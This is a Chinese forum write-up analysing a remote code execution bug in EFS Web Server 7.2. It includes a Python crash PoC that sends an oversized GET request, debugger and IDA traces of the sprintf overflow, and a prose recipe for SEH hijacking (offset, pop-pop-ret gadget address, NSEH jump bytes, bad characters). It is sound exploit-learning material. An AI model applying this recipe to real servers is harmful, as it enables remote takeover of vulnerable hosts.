-
-
[原创]EFS Web Server 7.2远程代码执行漏洞分析
-
发表于: 2021-4-20 00:10 9154
-
漏洞软件:EFS Web Server 7.2 GET请求远程代码执行漏洞(SEH)
漏洞链接:https://www.exploit-db.com/exploits/42261
软件下载:https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
利用简述:利用SEH劫持程序执行流到shellcode,难度不大,适合学习windows的SEH漏洞利用
编写poc
用windbg附加漏洞程序,发送poc,触发漏洞
查看eax,eax+4c不可读,导致异常
继续运行,eip指向了0x41414141,同时发现ecx也指向了0x41414141
查看栈
栈回溯,分别跟踪查看61c277f6,61c6286c,004968EF
用IDA打开sqlite3.dll,查看61c277f6,此处由于访问 eax+4cH 错误,导致异常,重点关注eax即a1,函数传参为a1且没有改变a1的值,所以应回溯上一个函数分析
查看61c6286c后发现应当继续回溯,直到004968EF:因为调用sqlite3_prepare_v2()导致异常,继续回溯查看参数是什么,但是发现windbg上一层函数已被覆盖,应重新调试,在4968D0下断点
在4968D0断下,逐步运行到004968ef,查看参数,第一个参数this指针为41414141,已经出现异常,需要继续回溯
但栈帧已被畸形数据覆盖,无法查看上一级函数,但是可以查看栈中保存的参数
关键字符串 select * from sqltable where name = ''sql语句,查找程序中调用这个字符串的函数
有两处调用目标字符串00497584、00497748,经排查后确定00497748地址为可疑函数
sprintf 函数将格式化后的sql语句存放进栈上的地址v15即01ba5fd4,其中SQL语句保存畸形字符串a3的内容
在windbg中查看sub_4968D0的参数,thiscall调用约定中this保存在ecx
v4 = ecx,&v12 = esp,&v15 = esp+4,此时ecx即01ba7058的地址为畸形字符串,这是由于v15保存的内容覆盖而致
查看sub_4968D0中sqlite3_prepare_v2函数的参数
可以看到第一个参数为畸形字符串,在调用sqlite3_prepare_v2函数之前在004968ec将ecx内的值传递给第一个参数,ecx是sub_4968D0传递给sqlite3_prepare_v2的,值为01ba7058
继续执行直到触发漏洞,可以得知ecx指向的地址01ba7058保存的是关键内容,前面分析得知程序在00497748处调用sprintf函数将畸形字符串赋值给了v15指向的01ba5fd4一直覆盖到了01ba7058,覆盖了ecx原本关键指针的内容,导致漏洞
漏洞原因总结:在sql语句赋值,由于没有对参数进行有效的检查,导致ecx指针对应的内容被sql语句中畸形变量覆盖,后续对ecx指针内容访问时出现了访问地址异常,进入SEH异常处理流程,导致代码执行
SEH即Windows结构化异常处理程序,用于处理程序发生的错误或异常,SEH结构存放在栈中,多个 SEH 通过链表指针在栈内由栈顶向栈底串成单向链表,发生异常时,程序顺着最近的SEH链表依次尝试其他异常处理函数,这里引用《0day安全》中的图
当程序执行异常处理函数时,函数创建自己的栈帧,会把next SEH的地址压入栈中,正好时esp+8的位置,那么我们劫持程序执行流方法为把异常处理函数改为pop_pop_ret的gadget,执行之后会跳转到next_seh处执行,将next_seh的值改为跳转到shellcode的代码,即可实现程序处理异常时执行shellcode的目的。这种攻击方法能够绕过SafeSEH。有关SEH攻击的内容可参考《0day安全》的第6.1和11章
exploit整体思路:程序触发异常后跳转到handler后执行pop_pop_ret,跳转到NSEH执行jmp2shellcode,进而执行shelldcode
写exploit步骤
发送最初的poc,查看seh链,确定seh的位置4061
使用mona插件在内存中寻找用于攻击seh的gadget,pop_pop_ret
选择一个可执行的地址0x100103fe,编写exploit的雏形
发送exploit可以看到seh链的nseh指针指向了"NESH",seh handler指向了0x100103fe
在0x100103fe处设置断点,使进程运行到断点处,会执行pop esi,pop edi,ret三条语句,返回到01bafd4即NESH
使NSEH跳转到shellcode,jmp 0x12 = \xeb\x12
排除坏字符:"\x20\x2b\x2f\x5c" 分别为 “ +/\”,可能这些字符在创建sql语句时进行了特殊处理
生成shellcode
发送payload,攻击成功
https://www.freebuf.com/articles/system/170703.html
https://blog.csdn.net/u012763794/article/details/66970749
import
sys, socket
from
pwn
import
*
ip
=
"192.168.112.146"
port
=
80
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect
=
s.connect((ip, port))
payload
=
flat(
"GET "
,
'A'
*
20000
,
" HTTP/1.0\r\n\r\n"
)
s.send(payload)
s.recv(
1024
)
import
sys, socket
from
pwn
import
*
ip
=
"192.168.112.146"
port
=
80
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect
=
s.connect((ip, port))
payload
=
flat(
"GET "
,
'A'
*
20000
,
" HTTP/1.0\r\n\r\n"
)
s.send(payload)
s.recv(
1024
)
.text:
61C277F6
81
78
4C
97
A6
29
+
cmp
dword ptr [eax
+
4Ch
],
0A029A697h
.text:
61C277F6
81
78
4C
97
A6
29
+
cmp
dword ptr [eax
+
4Ch
],
0A029A697h
sprintf(&v15, aSelectFromSWhe, Sqltable, v11, a3);
(
int
__thiscall) sub_4968D0(v4, (
int
)&v12, (
int
)&v15);
sprintf(&v15, aSelectFromSWhe, Sqltable, v11, a3);
(
int
__thiscall) sub_4968D0(v4, (
int
)&v12, (
int
)&v15);
int
__cdecl sqlite3_prepare_v2(
*
this, a3,
-
1
, (
int
)&a3,
0
)
int
__cdecl sqlite3_prepare_v2(
*
this, a3,
-
1
, (
int
)&a3,
0
)
!exchain
!exchain